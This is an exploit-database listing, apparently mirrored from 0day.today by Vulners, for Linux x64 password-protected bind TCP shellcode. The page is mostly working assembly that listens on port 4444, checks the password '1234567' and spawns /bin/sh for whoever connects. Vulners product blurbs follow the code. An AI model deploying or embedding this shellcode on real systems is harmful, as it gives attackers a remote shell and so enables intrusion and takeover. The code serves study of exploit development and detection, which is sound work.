Lucene search
K

Linux/x64 - Bind TCP (4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode (136 bytes)

🗓️ 03 Feb 2018 00:00:00Reported by 0x4ndr3Type 
zdt
 zdt
🔗 0day.today👁 17 Views

Linux/x64 Bind TCP Shell with Password Authenticatio

Code
global _start
 
_start:
 
    ; sock = socket(AF_INET, SOCK_STREAM, 0)
    ; AF_INET = 2
    ; SOCK_STREAM = 1
    ; syscall number 41 
 
    push 41
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq
    syscall
     
    ; copy socket descriptor to rdi for future use 
 
    xchg rdi,rax
 
    ; server.sin_family = AF_INET 
    ; server.sin_port = htons(PORT)
    ; server.sin_addr.s_addr = INADDR_ANY
    ; bzero(&server.sin_zero, 8)
 
    push rdx
    mov dx,0x5c11
    shl rdx,16
    xor dl,0x2
    push rdx
 
    ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
    ; syscall number 49
 
    mov rsi, rsp
    mov al,49
    push 16
    pop rdx
    syscall
 
    ; listen(sock, MAX_CLIENTS)
    ; syscall number 50
 
    push 50
    pop rax
    push 2
    pop rsi
    syscall
 
    ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
    ; syscall number 43
 
    mov al,43
    sub rsp,16
    mov rsi,rsp
    push 16
    mov rdx,rsp
    syscall
 
    ; close parent
    ;push 3
    ;pop rax
    ;syscall
 
    ; duplicate sockets
 
    ; dup2 (new, old)
    xchg rdi,rax
    push 3
    pop rsi
dup2cycle:
    mov al, 33
    dec esi
    syscall
    loopnz dup2cycle
 
    ; read passcode
    ; xor rax,rax - already zeroed from prev cycle
    xor rdi,rdi
    push rax
    mov rsi,rsp
    push 8
    pop rdx
    syscall
 
    ; Authentication with password "1234567"
    xchg rcx,rax
    mov rbx,0x0a37363534333231
    push rbx
    mov rdi,rsp
    repe cmpsb
    jnz wrong_pwd
 
    ; execve stack-method
 
    push 59
    pop rax
    cdq ; extends rax sign into rdx, zeroing it out
    push rdx
    mov rbx,0x68732f6e69622f2f
    push rbx
    mov rdi,rsp
    push rdx
    mov rdx,rsp
    push rdi
    mov rsi,rsp
    syscall
 
wrong_pwd:
    nop

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation